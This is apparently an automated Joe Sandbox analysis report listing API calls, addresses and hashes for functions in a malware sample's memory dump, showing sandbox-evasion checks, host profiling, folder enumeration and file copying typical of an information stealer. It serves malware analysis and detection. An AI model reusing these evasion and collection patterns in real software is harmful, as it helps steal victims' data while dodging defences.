Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,02DB5FA0), ref: 00416035
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,02DBEDA0), ref: 0041604E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011D1

Part of subcall function 00401120: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004136D7,0041D6E3), ref: 0040112A
Part of subcall function 00401120: ExitProcess.KERNEL32 ref: 0040113E

Part of subcall function 004010D0: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004136DC), ref: 004010EB
Part of subcall function 004010D0: VirtualAllocExNuma.KERNEL32(00000000,?,?,004136DC), ref: 004010F2
Part of subcall function 004010D0: ExitProcess.KERNEL32 ref: 00401103

Part of subcall function 004011E0: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011FE
Part of subcall function 004011E0: __aulldiv.LIBCMT ref: 00401218
Part of subcall function 004011E0: __aulldiv.LIBCMT ref: 00401226
Part of subcall function 004011E0: ExitProcess.KERNEL32 ref: 00401254

Part of subcall function 00413430: GetUserDefaultLangID.KERNEL32(?,?,004136E6,0041D6E3), ref: 00413434

Part of subcall function 00401150: ExitProcess.KERNEL32 ref: 00401186

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,02DD4D60,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02DB6B20,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 0041378A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004137A8
CloseHandle.KERNEL32(00000000), ref: 004137B9
Sleep.KERNEL32(00001770), ref: 004137C4
CloseHandle.KERNEL32(?,00000000,?,02DB6B20,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 004137DA
ExitProcess.KERNEL32 ref: 004137E2

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$Alloclstrcpy$CloseEventHandleNameUser__aulldiv$ComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 1175201934-0
Opcode ID: 25b4ba559f14cba6fff85c1044e40f6cdf5c7d53a1a392754cfb49abbab3c79d
Instruction ID: 0037ec1138340b95bb434dc328289296f16cab3c571637fdb93d627daa89b4d0
Opcode Fuzzy Hash: 25b4ba559f14cba6fff85c1044e40f6cdf5c7d53a1a392754cfb49abbab3c79d
Instruction Fuzzy Hash: 7E318270A00204AADB04FBF2DC56BEE7779AF08708F10451EF112A61D2DF789A85C7AD

Uniqueness

Uniqueness Score: -1.00%

Function 004123F0 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,02DDB598), ref: 0041244B

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00412471
lstrcat.KERNEL32(?,?), ref: 00412490
lstrcat.KERNEL32(?,?), ref: 004124A4
lstrcat.KERNEL32(?,02DBA060), ref: 004124B7
lstrcat.KERNEL32(?,?), ref: 004124CB
lstrcat.KERNEL32(?,02DDB390), ref: 004124DF

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00415490: GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Part of subcall function 004121F0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00412200
Part of subcall function 004121F0: HeapAlloc.KERNEL32(00000000), ref: 00412207
Part of subcall function 004121F0: wsprintfA.USER32 ref: 00412223
Part of subcall function 004121F0: FindFirstFileA.KERNEL32(?,?), ref: 0041223A

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: 89bca27680f775fb401dcef3a75cb19690a7d54084dd4a2790f0d49a7763561f
Instruction ID: 26a05e4f659b4c4b868bb0234a0ad995871bbc4a3af1f84cd303f322fad0653f
Opcode Fuzzy Hash: 89bca27680f775fb401dcef3a75cb19690a7d54084dd4a2790f0d49a7763561f
Instruction Fuzzy Hash: 083164B6900608A7CB20FBB0DC95EE9773DAB48704F40458EB3469A051EA7897C8CFD8

Uniqueness

Uniqueness Score: -1.00%

Function 004011E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011FE
__aulldiv.LIBCMT ref: 00401218
__aulldiv.LIBCMT ref: 00401226
ExitProcess.KERNEL32 ref: 00401254

Strings

@, xrefs: 004011F3

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: bb81cb4acda70f26030c3c2501203c3bf716c46d07ed01ddf58a3b899f1b5564
Instruction ID: 7bcd30568b3a9749f5c78c38f6ef54fea4689c821e8202ed383253ad67bcf250
Opcode Fuzzy Hash: bb81cb4acda70f26030c3c2501203c3bf716c46d07ed01ddf58a3b899f1b5564
Instruction Fuzzy Hash: 8601FFB0940208EADB10EFD0CD4AB9EBBB8AB54705F204059E705B62D0D6785545875D

Uniqueness

Uniqueness Score: -1.00%

Function 00412980 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 004129BA
lstrcat.KERNEL32(?,0041D888), ref: 004129D7
lstrcat.KERNEL32(?,02DD4BD0), ref: 004129EB
lstrcat.KERNEL32(?,0041D88C), ref: 004129FD

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNEL32(?,?), ref: 004125A0

Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
Part of subcall function 00412570: FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
Part of subcall function 00412570: FindClose.KERNEL32(000000FF), ref: 004127CE

Strings

L0A, xrefs: 00412A22, 00412A51, 00412A73, 00412A25, 00412A54

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID: L0A
API String ID: 2667927680-1482484291
Opcode ID: 8210d0b9d67a7ab1c32d3ea85fcbac31bee0570fb94b78a834b62183d424bec1
Instruction ID: f34e92357168eddbedcb052ffd5f2c6281475bb6170069d81cff4dd89e8051f4
Opcode Fuzzy Hash: 8210d0b9d67a7ab1c32d3ea85fcbac31bee0570fb94b78a834b62183d424bec1
Instruction Fuzzy Hash: A621CCBA9005087BC724FBA0DD46EDA373E9B54745F00058AB64956081EE7867C48BD5

Uniqueness

Uniqueness Score: -1.00%

Function 00401260 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 00401274
HeapAlloc.KERNEL32(00000000), ref: 0040127B
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00401297
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012B5
RegCloseKey.ADVAPI32(?), ref: 004012BF

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: df6da7dedf044903e367d3d8a7ae0c03a7d74832a2c3d67e0360b54011cb2cfc
Instruction ID: 7bc2c45b39987af01ac2684a9b0918313f40fb8da876f9e4b9d967da472c28c8
Opcode Fuzzy Hash: df6da7dedf044903e367d3d8a7ae0c03a7d74832a2c3d67e0360b54011cb2cfc
Instruction Fuzzy Hash: 3C011D79A40608BFDB20DFE0DD49FAEB779AB88700F008159FA05E7280DA749A018B90

Uniqueness

Uniqueness Score: -1.00%

Function 00414740 Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414754
HeapAlloc.KERNEL32(00000000), ref: 0041475B
RegOpenKeyExA.KERNEL32(80000002,02DBAA30,00000000,00020119,00000000), ref: 0041477B
RegQueryValueExA.KERNEL32(00000000,02DDB0D0,00000000,00000000,000000FF,000000FF), ref: 0041479C
RegCloseKey.ADVAPI32(00000000), ref: 004147A6

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 3dd853a6faa74efcafe4ce3258c312c5c269cfcf31c2ef5712d88dc1f31cf0da
Instruction ID: 520453153fef2218f7e1f18e9bcc50e310f062f1fe861ea372c3465721436b4a
Opcode Fuzzy Hash: 3dd853a6faa74efcafe4ce3258c312c5c269cfcf31c2ef5712d88dc1f31cf0da
Instruction Fuzzy Hash: 62013C79A40608FFDB20DBE4ED49FAEB779EB88700F108159FA05A6290DB705A018F90

Uniqueness

Uniqueness Score: -1.00%

Function 00414300 Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414314
HeapAlloc.KERNEL32(00000000), ref: 0041431B
RegOpenKeyExA.KERNEL32(80000002,02DBAB10,00000000,00020119,00000000), ref: 0041433B
RegQueryValueExA.KERNEL32(00000000,02DDAA38,00000000,00000000,000000FF,000000FF), ref: 0041435C
RegCloseKey.ADVAPI32(00000000), ref: 00414366

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 423f413abd2b9c08310d568d7ed0a8882adbdfbf2920ff6ae677e6fc83315809
Instruction ID: 8a55c6bb4586fa39bc5dd89715e436abefd5940c4b9bd8db073c1251d6bd8ac1
Opcode Fuzzy Hash: 423f413abd2b9c08310d568d7ed0a8882adbdfbf2920ff6ae677e6fc83315809
Instruction Fuzzy Hash: E3014FB5A40608BFDB20DBE4ED49FAEB77DEB88701F005154FA05E7290DB70AA01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00409970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(02DD4D80,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040EA16), ref: 0040998D
LoadLibraryA.KERNEL32(02DDB0B0,?,?,?,?,?,?,?,?,?,?,?,0040EA16), ref: 00409A16

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02DB6B20,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

SetEnvironmentVariableA.KERNEL32(02DD4D80,00000000,00000000,?,0041DA4C,?,0040EA16,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0041D6EF), ref: 00409A02

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00409982, 00409996, 004099AC

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: dfb9a211452e591c25be7c2bae6f8fbf5b381496db1607fe7484279c1f2c002b
Instruction ID: 6647cd3c00128b620a4a232c7fbe97fce3d03bd073b05a107f0d1bf2b4fd60a8
Opcode Fuzzy Hash: dfb9a211452e591c25be7c2bae6f8fbf5b381496db1607fe7484279c1f2c002b
Instruction Fuzzy Hash: 134196B5900A009BDB24DFA4FD85AAE37B6BB44305F01512EF405A72E2DFB89D46CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004065D0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@:h@,@:h@), ref: 0040668F

Strings

@:h@, xrefs: 00406670, 00406673
:h@, xrefs: 0040660D, 00406629, 00406678, 00406688, 004065F4, 00406618, 00406623
:h@, xrefs: 004065DD, 004065FD, 0040667F

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: :h@$:h@$@:h@
API String ID: 544645111-3492212131
Opcode ID: 3a0ba57e5e1d9d33aaf5f8e161c54dbb9d0ff39d4d0ab0475c83cdde206519fc
Instruction ID: 05c83ec730d02739dc9afbe7597ff905435882b08ae1c12394b3aafa6fe5c026
Opcode Fuzzy Hash: 3a0ba57e5e1d9d33aaf5f8e161c54dbb9d0ff39d4d0ab0475c83cdde206519fc
Instruction Fuzzy Hash: 272131B4A00208EFDB04CF85C544BAEBBB1FF48304F1185AAD406AB381D3399A91DF85

Uniqueness

Uniqueness Score: -1.00%

Function 0040CB50 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,02DD8780,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,?), ref: 0040CBD1
lstrlen.KERNEL32(00000000), ref: 0040CDE8
lstrlen.KERNEL32(00000000), ref: 0040CDFC
DeleteFileA.KERNEL32(00000000), ref: 0040CE75

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 215a30fbdd9d6a740a771159500944798f6f197eff1b28b4cf7970f2df4c8d68
Instruction ID: 3178dc75d7a1207427f310f1c1063c03dca096186eb6efd51d8828f0c172afa8
Opcode Fuzzy Hash: 215a30fbdd9d6a740a771159500944798f6f197eff1b28b4cf7970f2df4c8d68
Instruction Fuzzy Hash: BE9159729102049BCB14FBA1DC52EEE7739BF14304F51426EF51676091EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEC0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,02DD8780,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,?), ref: 0040CF41
lstrlen.KERNEL32(00000000), ref: 0040D0DF
lstrlen.KERNEL32(00000000), ref: 0040D0F3
DeleteFileA.KERNEL32(00000000), ref: 0040D16C

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 8a3ef0a9df2503fc5892d668ed58a1f5cf51b107125c42dcf317e8bed46133d8
Instruction ID: 64a31cdf4344fffa4b83296b1621afa9cae3fe45de11617b70f8002e61f1a089
Opcode Fuzzy Hash: 8a3ef0a9df2503fc5892d668ed58a1f5cf51b107125c42dcf317e8bed46133d8
Instruction Fuzzy Hash: 758147769102049BCB14FBA1DC52EEE7739BF54308F51411EF516B6091EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD10 Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004141C0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004141DF
Part of subcall function 004141C0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041421C
Part of subcall function 004141C0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004142A0
Part of subcall function 004141C0: HeapAlloc.KERNEL32(00000000), ref: 004142A7

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00414300: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414314
Part of subcall function 00414300: HeapAlloc.KERNEL32(00000000), ref: 0041431B
Part of subcall function 00414300: RegOpenKeyExA.KERNEL32(80000002,02DBAB10,00000000,00020119,00000000), ref: 0041433B
Part of subcall function 00414300: RegQueryValueExA.KERNEL32(00000000,02DDAA38,00000000,00000000,000000FF,000000FF), ref: 0041435C
Part of subcall function 00414300: RegCloseKey.ADVAPI32(00000000), ref: 00414366

Part of subcall function 00414380: GetCurrentProcess.KERNEL32(00000000,?,?,0040FF99,00000000,?,02DDAF50,00000000,?,0041D74C,00000000,?,00000000,00000000,?,02DD4BA0), ref: 0041438F
Part of subcall function 00414380: IsWow64Process.KERNEL32(00000000,?,?,0040FF99,00000000,?,02DDAF50,00000000,?,0041D74C,00000000,?,00000000,00000000,?,02DD4BA0), ref: 00414396

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,02DD4D60,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
